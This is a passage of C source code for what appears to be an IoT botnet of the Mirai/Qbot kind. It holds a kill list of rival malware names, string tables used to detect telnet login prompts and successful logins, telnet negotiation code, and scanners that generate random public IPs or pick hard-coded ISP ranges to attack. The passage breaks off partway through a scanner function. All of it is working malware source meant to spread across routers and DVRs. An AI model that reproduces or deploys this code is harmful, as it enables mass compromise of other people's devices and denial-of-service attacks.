  655. "TwoFacemipsel",
  656. "TwoFacesh2eb",
  657. "TwoFacesh2elf",
  658. "TwoFacesh4",
  659. "TwoFacex86",
  660. "TwoFacearmv5",
  661. "TwoFacearmv4tl",
  662. "TwoFacearmv4",
  663. "TwoFacearmv6",
  664. "TwoFacei686",
  665. "TwoFacepowerpc",
  666. "TwoFacepowerpc440fp",
  667. "TwoFacei586",
  668. "TwoFacem68k",
  669. "TwoFacesparc",
  670. "TwoFacex86_64",
  671. "UYyuyioy",
  672. "XDzdfxzf",
  673. "xxb1",
  674. "xxb2",
  675. "xxb3",
  676. "xxb4",
  677. "xxb5",
  678. "xxb6",
  679. "xxb7",
  680. "xxb8",
  681. "xxb9",
  682. "xxb10",
  683. "xxb11",
  684. "xxb12",
  685. "xxb13",
  686. "xxb14",
  687. "xxb15",
  688. "xxb16",
  689. "xxb17",
  690. "xxb18",
  691. "xxb19",
  692. "xxb20",
  693. "1",
  694. "2",
  695. "3",
  696. "4",
  697. "5",
  698. "6",
  699. "7",
  700. "8",
  701. "9",
  702. "10",
  703. "11",
  704. "12",
  705. "13",
  706. "14",
  707. "15",
  708. "16",
  709. "17",
  710. "18",
  711. "19",
  712. "20",
  713. "bb",
  714. "busybotnet",
  715. "pppd",
  716. "pppoe",
  717. "wput",
  718. "B1",
  719. "B2",
  720. "B3",
  721. "B4",
  722. "B5",
  723. "B6",
  724. "B7",
  725. "B8",
  726. "B9",
  727. "B10",
  728. "B11",
  729. "B12",
  730. "B13",
  731. "B14",
  732. "B15",
  733. "B16",
  734. "B17",
  735. "B18",
  736. "B20",
  737. "DVR",
  738. "*mirai",
  739. "*.mirai",
  740. "cunty*",
  741. "IoT*",
  742. "mips64",
  743. "sh4",
  744. "arm",
  745. "armv5",
  746. "armv4tl",
  747. "armv4",
  748. "armv6",
  749. "powerpc",
  750. "powerpc440fp",
  751. "pc",
  752. "m68k",
  753. "sparc",
  754. "mirai.mips",
  755. "orion.mips",
  756. "okiru.mips",
  757. "nightcore.mips",
  758. "ar",
  759. "lsp.modz",
  760. "mipsxd",
  761. "die.mips",
  762. "dupessh"
  763. "*mips",
  764. "*.mips",
  765. "pps",
  766. "sh4*",
  767. "wget*",
  768. "ssh*",
  769. "vulcan",
  770. "jennifer*",
  771. "okiru*",
  772. "vulcana",
  773. "vulcanb",
  774. "vulcand",
  775. "vulcane",
  776. "vulcanx",
  777. "vulcany",
  778. "vulcanz",
  779. "vulcang",
  780. "apache2",
  781. "telnetd"
  782. };
  783.  
  784. char *Temp_Directorys[] = {"/tmp/*", "/root/tmp/*", "/temp/*", "/var/*", "/var/run/*", "/var/tmp/*", (char*) 0};
  785. char *advances[] = {":", "user", "ogin", "name", "pass", "dvrdvs", "mdm9625", "9615-cdp", "F600", "F660", "F609", "BCM", (char*)0};
  786. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  787. char *successes[] = {"busybox", "$", "#", "shell", "dvrdvs", "mdm9625", "9615-cdp", "F600", "F660", "F609", "BCM", (char*)0};
  788. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  789. // END OF CONFIG STOP EDITING FROM HERE
  790. // //--------------------------------------------------------------------------------------------------------------------------------------------------------------------
  791. #define PHI 0x9e3779b9
  792. static uint32_t Q[4096], c = 362436;
  793. void init_rand(uint32_t x) {
  794. int i;
  795. Q[0] = x;
  796. Q[1] = x + PHI;
  797. Q[2] = x + PHI + PHI;
  798. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  799. }
  800. uint32_t rand_cmwc(void) {
  801. uint64_t t, a = 18782LL;
  802. static uint32_t i = 4095;
  803. uint32_t x, r = 0xfffffffe;
  804. i = (i + 1) & 4095;
  805. t = a * Q[i] + c;
  806. c = (uint32_t)(t >> 32);
  807. x = t + c;
  808. if (x < c) {
  809. x++;
  810. c++;
  811. }
  812. return (Q[i] = r - x);
  813. }
  814. int contains_string(char* buffer, char** strings) {
  815. int num_strings = 0, i = 0;
  816. for(num_strings = 0; strings[++num_strings] != 0; );
  817. for(i = 0; i < num_strings; i++) {
  818. if(strcasestr(buffer, strings[i])) {
  819. return 1;
  820. }
  821. }
  822. return 0;
  823. }
  824. int contains_success(char* buffer) {
  825. return contains_string(buffer, successes);
  826. }
  827. int contains_fail(char* buffer) {
  828. return contains_string(buffer, fails);
  829. }
  830. int contains_response(char* buffer) {
  831. return contains_success(buffer) || contains_fail(buffer);
  832. }
  833. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {
  834. fd_set read_set;
  835. struct timeval tv;
  836. tv.tv_sec = 0;
  837. tv.tv_usec = timeout_usec;
  838. FD_ZERO(&read_set);
  839. FD_SET(fd, &read_set);
  840. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  841. return 0;
  842. return recv(fd, buffer, buf_size, 0);
  843. }
  844. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
  845. int num_bytes, i;
  846. memset(buffer, 0, buf_size);
  847. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  848. if(buffer[0] == 0xFF) {
  849. negotiate(fd, buffer, 3);
  850. }
  851.  
  852. if(contains_string(buffer, strings)) {
  853. return 1;
  854. }
  855.  
  856. return 0;
  857. }
  858. const char* get_telstate_host(struct telstate_t* telstate) { // get host
  859. struct in_addr in_addr_ip;
  860. in_addr_ip.s_addr = telstate->ip;
  861. return inet_ntoa(in_addr_ip);
  862. }
  863. void advance_telstate(struct telstate_t* telstate, int new_state) { // advance
  864. if(new_state == 0) {
  865. close(telstate->fd);
  866. }
  867. telstate->tTimeout = 0;
  868. telstate->state = new_state;
  869. memset((telstate->sockbuf), 0, SOCKBUF_SIZE);
  870. }
  871. void reset_telstate(struct telstate_t* telstate) { // reset
  872. advance_telstate(telstate, 0);
  873. telstate->complete = 1;
  874. }
  875. void trim(char *str) {
  876. int i;
  877. int begin = 0;
  878. int end = strlen(str) - 1;
  879.  
  880. while (isspace(str[begin])) begin++;
  881.  
  882. while ((end >= begin) && isspace(str[end])) end--;
  883. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  884.  
  885. str[i - begin] = '\0';
  886. }
  887. static void printchar(unsigned char **str, int c) {
  888. if (str) {
  889. **str = c;
  890. ++(*str);
  891. }
  892. else (void)write(1, &c, 1);
  893. }
  894. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  895. register int pc = 0, padchar = ' ';
  896. if (width > 0) {
  897. register int len = 0;
  898. register const unsigned char *ptr;
  899. for (ptr = string; *ptr; ++ptr) ++len;
  900. if (len >= width) width = 0;
  901. else width -= len;
  902. if (pad & PAD_ZERO) padchar = '0';
  903. }
  904. if (!(pad & PAD_RIGHT)) {
  905. for ( ; width > 0; --width) {
  906. printchar (out, padchar);
  907. ++pc;
  908. }
  909. }
  910. for ( ; *string ; ++string) {
  911. printchar (out, *string);
  912. ++pc;
  913. }
  914. for ( ; width > 0; --width) {
  915. printchar (out, padchar);
  916. ++pc;
  917. }
  918. return pc;
  919. }
  920. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
  921. unsigned char print_buf[PRINT_BUF_LEN];
  922. register unsigned char *s;
  923. register int t, neg = 0, pc = 0;
  924. register unsigned int u = i;
  925. if (i == 0) {
  926. print_buf[0] = '0';
  927. print_buf[1] = '\0';
  928. return prints (out, print_buf, width, pad);
  929. }
  930. if (sg && b == 10 && i < 0) {
  931. neg = 1;
  932. u = -i;
  933. }
  934.  
  935. s = print_buf + PRINT_BUF_LEN-1;
  936. *s = '\0';
  937. while (u) {
  938. t = u % b;
  939. if( t >= 10 )
  940. t += letbase - '0' - 10;
  941. *--s = t + '0';
  942. u /= b;
  943. }
  944. if (neg) {
  945. if( width && (pad & PAD_ZERO) ) {
  946. printchar (out, '-');
  947. ++pc;
  948. --width;
  949. }
  950. else {
  951. *--s = '-';
  952. }
  953. }
  954.  
  955. return pc + prints (out, s, width, pad);
  956. }
  957. static int print(unsigned char **out, const unsigned char *format, va_list args ) {
  958. register int width, pad;
  959. register int pc = 0;
  960. unsigned char scr[2];
  961. for (; *format != 0; ++format) {
  962. if (*format == '%') {
  963. ++format;
  964. width = pad = 0;
  965. if (*format == '\0') break;
  966. if (*format == '%') goto out;
  967. if (*format == '-') {
  968. ++format;
  969. pad = PAD_RIGHT;
  970. }
  971. while (*format == '0') {
  972. ++format;
  973. pad |= PAD_ZERO;
  974. }
  975. for ( ; *format >= '0' && *format <= '9'; ++format) {
  976. width *= 10;
  977. width += *format - '0';
  978. }
  979. if( *format == 's' ) {
  980. register char *s = (char *)va_arg( args, int );
  981. pc += prints (out, s?s:"(null)", width, pad);
  982. continue;
  983. }
  984. if( *format == 'd' ) {
  985. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  986. continue;
  987. }
  988. if( *format == 'x' ) {
  989. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  990. continue;
  991. }
  992. if( *format == 'X' ) {
  993. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  994. continue;
  995. }
  996. if( *format == 'u' ) {
  997. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  998. continue;
  999. }
  1000. if( *format == 'c' ) {
  1001. scr[0] = (unsigned char)va_arg( args, int );
  1002. scr[1] = '\0';
  1003. pc += prints (out, scr, width, pad);
  1004. continue;
  1005. }
  1006. }
  1007. else {
  1008. out:
  1009. printchar (out, *format);
  1010. ++pc;
  1011. }
  1012. }
  1013. if (out) **out = '\0';
  1014. va_end( args );
  1015. return pc;
  1016. }
  1017. int zprintf(const unsigned char *format, ...) {
  1018. va_list args;
  1019. va_start( args, format );
  1020. return print( 0, format, args );
  1021. }
  1022. int szprintf(unsigned char *out, const unsigned char *format, ...) {
  1023. va_list args;
  1024. va_start( args, format );
  1025. return print( &out, format, args );
  1026. }
  1027. int sockprintf(int sock, char *formatStr, ...) {
  1028. unsigned char *textBuffer = malloc(2048);
  1029. memset(textBuffer, 0, 2048);
  1030. char *orig = textBuffer;
  1031. va_list args;
  1032. va_start(args, formatStr);
  1033. print(&textBuffer, formatStr, args);
  1034. va_end(args);
  1035. orig[strlen(orig)] = '\n';
  1036. zprintf("%s\n", orig);
  1037. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  1038. free(orig);
  1039. return q;
  1040. }
  1041. int wildString(const unsigned char* pattern, const unsigned char* string) {
  1042. switch(*pattern) {
  1043. case '\0': return *string;
  1044. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  1045. case '?': return !(*string && !wildString(pattern+1, string+1));
  1046. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  1047. }
  1048. }
  1049. int getHost(unsigned char *toGet, struct in_addr *i) {
  1050. struct hostent *h;
  1051. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  1052. return 0;
  1053. }
  1054. void makeRandomStr(unsigned char *buf, int length) {
  1055. int i = 0;
  1056. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  1057. }
  1058. int recvLine(int socket, unsigned char *buf, int bufsize) {
  1059. memset(buf, 0, bufsize);
  1060. fd_set myset;
  1061. struct timeval tv;
  1062. tv.tv_sec = 30;
  1063. tv.tv_usec = 0;
  1064. FD_ZERO(&myset);
  1065. FD_SET(socket, &myset);
  1066. int selectRtn, retryCount;
  1067. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  1068. while(retryCount < 10) {
  1069. tv.tv_sec = 30;
  1070. tv.tv_usec = 0;
  1071. FD_ZERO(&myset);
  1072. FD_SET(socket, &myset);
  1073. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  1074. retryCount++;
  1075. continue;
  1076. }
  1077. break;
  1078. }
  1079. }
  1080. unsigned char tmpchr;
  1081. unsigned char *cp;
  1082. int count = 0;
  1083. cp = buf;
  1084. while(bufsize-- > 1) {
  1085. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  1086. *cp = 0x00;
  1087. return -1;
  1088. }
  1089. *cp++ = tmpchr;
  1090. if(tmpchr == '\n') break;
  1091. count++;
  1092. }
  1093. *cp = 0x00;
  1094. return count;
  1095. }
  1096. int connectTimeout(int fd, char *host, int port, int timeout) {
  1097. struct sockaddr_in dest_addr;
  1098. fd_set myset;
  1099. struct timeval tv;
  1100. socklen_t lon;
  1101. int valopt;
  1102. long arg = fcntl(fd, F_GETFL, NULL);
  1103. arg |= O_NONBLOCK;
  1104. fcntl(fd, F_SETFL, arg);
  1105. dest_addr.sin_family = AF_INET;
  1106. dest_addr.sin_port = htons(port);
  1107. if(getHost(host, &dest_addr.sin_addr)) return 0;
  1108. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1109. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1110. if (res < 0) {
  1111. if (errno == EINPROGRESS) {
  1112. tv.tv_sec = timeout;
  1113. tv.tv_usec = 0;
  1114. FD_ZERO(&myset);
  1115. FD_SET(fd, &myset);
  1116. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  1117. lon = sizeof(int);
  1118. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1119. if (valopt) return 0;
  1120. }
  1121. else return 0;
  1122. }
  1123. else return 0;
  1124. }
  1125. arg = fcntl(fd, F_GETFL, NULL);
  1126. arg &= (~O_NONBLOCK);
  1127. fcntl(fd, F_SETFL, arg);
  1128. return 1;
  1129. }
  1130. int listFork() {
  1131. uint32_t parent, *newpids, i;
  1132. parent = fork();
  1133. if (parent <= 0) return parent;
  1134. numpids++;
  1135. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  1136. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  1137. newpids[numpids - 1] = parent;
  1138. free(pids);
  1139. pids = newpids;
  1140. return parent;
  1141. }
  1142. int negotiate(int sock, unsigned char *buf, int len) {
  1143. unsigned char c;
  1144. switch (buf[1]) {
  1145. case CMD_IAC: return 0;
  1146. case CMD_WILL:
  1147. case CMD_WONT:
  1148. case CMD_DO:
  1149. case CMD_DONT:
  1150. c = CMD_IAC;
  1151. send(sock, &c, 1, MSG_NOSIGNAL);
  1152. if (CMD_WONT == buf[1]) c = CMD_DONT;
  1153. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  1154. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  1155. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  1156. send(sock, &c, 1, MSG_NOSIGNAL);
  1157. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  1158. break;
  1159. default:
  1160. break;
  1161. }
  1162.  
  1163. return 0;
  1164. }
  1165. int matchPrompt(char *bufStr) {
  1166. char *prompts = ":>%$#\0";
  1167. int bufLen = strlen(bufStr);
  1168. int i, q = 0;
  1169. for(i = 0; i < strlen(prompts); i++) {
  1170. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  1171. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  1172. }
  1173. return 0;
  1174. }
  1175. uint8_t ipState[5] = {0};
  1176. in_addr_t getRandomPublicIP() {
  1177. ipState[0] = rand() % 223;
  1178. ipState[1] = rand() % 255;
  1179. ipState[2] = rand() % 255;
  1180. ipState[3] = rand() % 255;
  1181. while(
  1182. (ipState[0] == 0) ||
  1183. (ipState[0] == 10) ||
  1184. (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  1185. (ipState[0] == 127) ||
  1186. (ipState[0] == 169 && ipState[1] == 254) ||
  1187. (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  1188. (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  1189. (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  1190. (ipState[0] == 192 && ipState[1] == 168) ||
  1191. (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  1192. (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  1193. (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  1194. (ipState[0] >= 224)
  1195. )
  1196. {
  1197. ipState[0] = rand() % 223;
  1198. ipState[1] = rand() % 255;
  1199. ipState[2] = rand() % 255;
  1200. ipState[3] = rand() % 255;
  1201. }
  1202. char ip[16] = {0};
  1203. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1204. return inet_addr(ip);
  1205. }
  1206.  
  1207. in_addr_t BCMSCAN(){
  1208.  
  1209. ipState[0] = 0;
  1210. ipState[1] = 0;
  1211. ipState[2] = 0;
  1212. ipState[3] = 0;
  1213. ipState[0] = rand() % 255;
  1214. ipState[1] = rand() % 255;
  1215. ipState[2] = rand() % 255;
  1216. ipState[3] = rand() % 255;
  1217. int randnum = rand() % 37;
  1218. char ip[16];
  1219. if(randnum == 0)
  1220. {
  1221. szprintf(ip, "37.11.%d.%d", ipState[2], ipState[3]);
  1222. }
  1223. if(randnum == 1)
  1224. {
  1225. szprintf(ip, "146.158.%d.%d", ipState[2], ipState[3]);
  1226. }
  1227. if(randnum == 2)
  1228. {
  1229. szprintf(ip, "185.4.%d.%d", ipState[2], ipState[3]);
  1230. }
  1231. if(randnum == 3)
  1232. {
  1233. szprintf(ip, "188.76.%d.%d", ipState[2], ipState[3]);
  1234. }
  1235. if(randnum == 4)
  1236. {
  1237. szprintf(ip, "188.77.%d.%d", ipState[2], ipState[3]);
  1238. }
  1239. if(randnum == 5)
  1240. {
  1241. szprintf(ip, "188.78.%d.%d", ipState[2], ipState[3]);
  1242. }
  1243. if(randnum == 6)
  1244. {
  1245. szprintf(ip, "188.79.%d.%d", ipState[2], ipState[3]);
  1246. }
  1247. if(randnum == 7)
  1248. {
  1249. szprintf(ip, "212.106.%d.%d", ipState[2], ipState[3]);
  1250. }
  1251. if(randnum == 8)
  1252. {
  1253. szprintf(ip, "212.9.%d.%d", ipState[2], ipState[3]);
  1254. }
  1255. if(randnum == 9)
  1256. {
  1257. szprintf(ip, "213.179.%d.%d", ipState[2], ipState[3]);
  1258. }
  1259. if(randnum == 10)
  1260. {
  1261. szprintf(ip, "37.11.%d.%d", ipState[2], ipState[3]);
  1262. }
  1263. if(randnum == 11)
  1264. {
  1265. szprintf(ip, "37.132.%d.%d", ipState[2], ipState[3]);
  1266. }
  1267. if(randnum == 12)
  1268. {
  1269. szprintf(ip, "37.133.%d.%d", ipState[2], ipState[3]);
  1270. }
  1271. if(randnum == 13)
  1272. {
  1273. szprintf(ip, "37.134.%d.%d", ipState[2], ipState[3]);
  1274. }
  1275. if(randnum == 14)
  1276. {
  1277. szprintf(ip, "37.135.%d.%d", ipState[2], ipState[3]);
  1278. }
  1279. if(randnum == 15)
  1280. {
  1281. szprintf(ip, "37.14.%d.%d", ipState[2], ipState[3]);
  1282. }
  1283. if(randnum == 16)
  1284. {
  1285. szprintf(ip, "37.15.%d.%d", ipState[2], ipState[3]);
  1286. }
  1287. if(randnum == 17)
  1288. {
  1289. szprintf(ip, "37.35.%d.%d", ipState[2], ipState[3]);
  1290. }
  1291. if(randnum == 18)
  1292. {
  1293. szprintf(ip, "37.97.%d.%d", ipState[2], ipState[3]);
  1294. }
  1295. if(randnum == 19)
  1296. {
  1297. szprintf(ip, "62.14.%d.%d", ipState[2], ipState[3]);
  1298. }
  1299. if(randnum == 20)
  1300. {
  1301. szprintf(ip, "87.216.%d.%d", ipState[2], ipState[3]);
  1302. }
  1303. if(randnum == 21)
  1304. {
  1305. szprintf(ip, "87.217.%d.%d", ipState[2], ipState[3]);
  1306. }
  1307. if(randnum == 22)
  1308. {
  1309. szprintf(ip, "87.218.%d.%d", ipState[2], ipState[3]);
  1310. }
  1311. if(randnum == 23)
  1312. {
  1313. szprintf(ip, "87.219.%d.%d", ipState[2], ipState[3]);
  1314. }
  1315. if(randnum == 24)
  1316. {
  1317. szprintf(ip, "87.220.%d.%d", ipState[2], ipState[3]);
  1318. }
  1319. if(randnum == 25)
  1320. {
  1321. szprintf(ip, "87.221.%d.%d", ipState[2], ipState[3]);
  1322. }
  1323. if(randnum == 26)
  1324. {
  1325. szprintf(ip, "87.222.%d.%d", ipState[2], ipState[3]);
  1326. }
  1327. if(randnum == 27)
  1328. {
  1329. szprintf(ip, "87.223.%d.%d", ipState[2], ipState[3]);
  1330. }
  1331. if(randnum == 28)
  1332. {
  1333. szprintf(ip, "90.94.%d.%d", ipState[2], ipState[3]);
  1334. }
  1335. if(randnum == 29)
  1336. {
  1337. szprintf(ip, "92.191.%d.%d", ipState[2], ipState[3]);
  1338. }
  1339. if(randnum == 30)
  1340. {
  1341. szprintf(ip, "95.16.%d.%d", ipState[2], ipState[3]);
  1342. }
  1343. if(randnum == 31)
  1344. {
  1345. szprintf(ip, "95.17.%d.%d", ipState[2], ipState[3]);
  1346. }
  1347. if(randnum == 32)
  1348. {
  1349. szprintf(ip, "95.18.%d.%d", ipState[2], ipState[3]);
  1350. }
  1351. if(randnum == 33)
  1352. {
  1353. szprintf(ip, "95.19.%d.%d", ipState[2], ipState[3]);
  1354. }
  1355. if(randnum == 34)
  1356. {
  1357. szprintf(ip, "95.20.%d.%d", ipState[2], ipState[3]);
  1358. }
  1359. if(randnum == 35)
  1360. {
  1361. szprintf(ip, "95.21.%d.%d", ipState[2], ipState[3]);
  1362. }
  1363. if(randnum == 36)
  1364. {
  1365. szprintf(ip, "95.22.%d.%d", ipState[2], ipState[3]);
  1366. }
  1367. if(randnum == 37)
  1368. {
  1369. szprintf(ip, "95.23.%d.%d", ipState[2], ipState[3]);
  1370. }
  1371. return inet_addr(ip);
  1372. }
  1373.  
  1374. in_addr_t PhoneScan(){
  1375. ipState[0] = 0;
  1376. ipState[1] = 0;
  1377. ipState[2] = 0;
  1378. ipState[3] = 0;
  1379. ipState[0] = rand() % 255;
  1380. ipState[1] = rand() % 255;
  1381. ipState[2] = rand() % 255;
  1382. ipState[3] = rand() % 255;
  1383. int randnum = rand() % 117;
  1384. char ip[16];
  1385. if(randnum == 0)
  1386. {
  1387. szprintf(ip, "119.157.%d.%d", ipState[2], ipState[3]);
  1388. }
  1389. if(randnum == 1)
  1390. {
  1391. szprintf(ip, "119.150.%d.%d", ipState[2], ipState[3]);
  1392. }
  1393. if(randnum == 2)
  1394. {
  1395. szprintf(ip, "119.151.%d.%d", ipState[2], ipState[3]);
  1396. }
  1397. if(randnum == 3)
  1398. {
  1399. szprintf(ip, "119.152.%d.%d", ipState[2], ipState[3]);
  1400. }
  1401. if(randnum == 4)
  1402. {
  1403. szprintf(ip, "119.153.%d.%d", ipState[2], ipState[3]);
  1404. }
  1405. if(randnum == 5)
  1406. {
  1407. szprintf(ip, "119.154.%d.%d", ipState[2], ipState[3]);
  1408. }
  1409. if(randnum == 6)
  1410. {
  1411. szprintf(ip, "119.155.%d.%d", ipState[2], ipState[3]);
  1412. }
  1413. if(randnum == 7)
  1414. {
  1415. szprintf(ip, "119.156.%d.%d", ipState[2], ipState[3]);
  1416. }
  1417. if(randnum == 8)
  1418. {
  1419. szprintf(ip, "119.157.%d.%d", ipState[2], ipState[3]);
  1420. }
  1421. if(randnum == 9)
  1422. {
  1423. szprintf(ip, "119.158.%d.%d", ipState[2], ipState[3]);
  1424. }
  1425. if(randnum == 10)
  1426. {
  1427. szprintf(ip, "119.159.%d.%d", ipState[2], ipState[3]);
  1428. }
  1429. if(randnum == 11)
  1430. {
  1431. szprintf(ip, "191.24.%d.%d", ipState[2], ipState[3]);
  1432. }
  1433. if(randnum == 12)
  1434. {
  1435. szprintf(ip, "187.119.%d.%d", ipState[2], ipState[3]);
  1436. }
  1437. if(randnum == 13)
  1438. {
  1439. szprintf(ip, "177.215.%d.%d", ipState[2], ipState[3]);
  1440. }
  1441. if(randnum == 14)
  1442. {
  1443. szprintf(ip, "152.241.%d.%d", ipState[2], ipState[3]);
  1444. }
  1445. if(randnum == 15)
  1446. {
  1447. szprintf(ip, "182.185.%d.%d", ipState[2], ipState[3]);
  1448. }
  1449. if(randnum == 16)
  1450. {
  1451. szprintf(ip, "179.80.%d.%d", ipState[2], ipState[3]);
  1452. }
  1453. if(randnum == 17)
  1454. {
  1455. szprintf(ip, "179.81.%d.%d", ipState[2], ipState[3]);
  1456. }
  1457. if(randnum == 18)
  1458. {
  1459. szprintf(ip, "179.82.%d.%d", ipState[2], ipState[3]);
  1460. }
  1461. if(randnum == 19)
  1462. {
  1463. szprintf(ip, "179.83.%d.%d", ipState[2], ipState[3]);
  1464. }
  1465. if(randnum == 20)
  1466. {
  1467. szprintf(ip, "179.84.%d.%d", ipState[2], ipState[3]);
  1468. }
  1469. if(randnum == 21)
  1470. {
  1471. szprintf(ip, "179.86.%d.%d", ipState[2], ipState[3]);
  1472. }
  1473. if(randnum == 22)
  1474. {
  1475. szprintf(ip, "179.87.%d.%d", ipState[2], ipState[3]);
  1476. }
  1477. if(randnum == 23)
  1478. {
  1479. szprintf(ip, "179.88.%d.%d", ipState[2], ipState[3]);
  1480. }
  1481. if(randnum == 24)
  1482. {
  1483. szprintf(ip, "179.89.%d.%d", ipState[2], ipState[3]);
  1484. }
  1485. if(randnum == 25)
  1486. {
  1487. szprintf(ip, "179.90.%d.%d", ipState[2], ipState[3]);
  1488. }
  1489. if(randnum == 26)
  1490. {
  1491. szprintf(ip, "179.91.%d.%d", ipState[2], ipState[3]);
  1492. }
  1493. if(randnum == 27)
  1494. {
  1495. szprintf(ip, "179.92.%d.%d", ipState[2], ipState[3]);
  1496. }
  1497. if(randnum == 28)
  1498. {
  1499. szprintf(ip, "179.93.%d.%d", ipState[2], ipState[3]);
  1500. }
  1501. if(randnum == 29)
  1502. {
  1503. szprintf(ip, "179.94.%d.%d", ipState[2], ipState[3]);
  1504. }
  1505. if(randnum == 30)
  1506. {
  1507. szprintf(ip, "179.95.%d.%d", ipState[2], ipState[3]);
  1508. }
  1509. if(randnum == 31)
  1510. {
  1511. szprintf(ip, "179.96.%d.%d", ipState[2], ipState[3]);
  1512. }
  1513. if(randnum == 32)
  1514. {
  1515. szprintf(ip, "179.97.%d.%d", ipState[2], ipState[3]);
  1516. }
  1517. if(randnum == 33)
  1518. {
  1519. szprintf(ip, "179.98.%d.%d", ipState[2], ipState[3]);
  1520. }
  1521. if(randnum == 34)
  1522. {
  1523. szprintf(ip, "179.99.%d.%d", ipState[2], ipState[3]);
  1524. }
  1525. if(randnum == 35)
  1526. {
  1527. szprintf(ip, "152.240.%d.%d", ipState[2], ipState[3]);
  1528. }
  1529. if(randnum == 36)
  1530. {
  1531. szprintf(ip, "152.241.%d.%d", ipState[2], ipState[3]);
  1532. }
  1533. if(randnum == 37)
  1534. {
  1535. szprintf(ip, "152.242.%d.%d", ipState[2], ipState[3]);
  1536. }
  1537. if(randnum == 38)
  1538. {
  1539. szprintf(ip, "152.243.%d.%d", ipState[2], ipState[3]);
  1540. }
  1541. if(randnum == 39)
  1542. {
  1543. szprintf(ip, "152.244.%d.%d", ipState[2], ipState[3]);
  1544. }
  1545. if(randnum == 40)
  1546. {
  1547. szprintf(ip, "152.245.%d.%d", ipState[2], ipState[3]);
  1548. }
  1549. if(randnum == 41)
  1550. {
  1551. szprintf(ip, "152.246.%d.%d", ipState[2], ipState[3]);
  1552. }
  1553. if(randnum == 42)
  1554. {
  1555. szprintf(ip, "152.247.%d.%d", ipState[2], ipState[3]);
  1556. }
  1557. if(randnum == 43)
  1558. {
  1559. szprintf(ip, "152.248.%d.%d", ipState[2], ipState[3]);
  1560. }
  1561. if(randnum == 44)
  1562. {
  1563. szprintf(ip, "152.249.%d.%d", ipState[2], ipState[3]);
  1564. }
  1565. if(randnum == 45)
  1566. {
  1567. szprintf(ip, "182.189.%d.%d", ipState[2], ipState[3]);
  1568. }
  1569. if(randnum == 46)
  1570. {
  1571. szprintf(ip, "182.190.%d.%d", ipState[2], ipState[3]);
  1572. }
  1573. if(randnum == 47)
  1574. {
  1575. szprintf(ip, "182.191.%d.%d", ipState[2], ipState[3]);
  1576. }
  1577. if(randnum == 48)
  1578. {
  1579. szprintf(ip, "182.188.%d.%d", ipState[2], ipState[3]);
  1580. }
  1581. if(randnum == 49)
  1582. {
  1583. szprintf(ip, "182.187.%d.%d", ipState[2], ipState[3]);
  1584. }
  1585. if(randnum == 50)
  1586. {
  1587. szprintf(ip, "182.186.%d.%d", ipState[2], ipState[3]);
  1588. }
  1589. if(randnum == 51)
  1590. {
  1591. szprintf(ip, "182.185.%d.%d", ipState[2], ipState[3]);
  1592. }
  1593. if(randnum == 52)
  1594. {
  1595. szprintf(ip, "182.184.%d.%d", ipState[2], ipState[3]);
  1596. }
  1597. if(randnum == 53)
  1598. {
  1599. szprintf(ip, "179.100.%d.%d", ipState[2], ipState[3]);
  1600. }
  1601. if(randnum == 54)
  1602. {
  1603. szprintf(ip, "179.101.%d.%d", ipState[2], ipState[3]);
  1604. }
  1605. if(randnum == 55)
  1606. {
  1607. szprintf(ip, "179.102.%d.%d", ipState[2], ipState[3]);
  1608. }
  1609. if(randnum == 56)
  1610. {
  1611. szprintf(ip, "179.103.%d.%d", ipState[2], ipState[3]);
  1612. }
  1613. if(randnum == 57)
  1614. {
  1615. szprintf(ip, "179.110.%d.%d", ipState[2], ipState[3]);
  1616. }
  1617. if(randnum == 58)
  1618. {
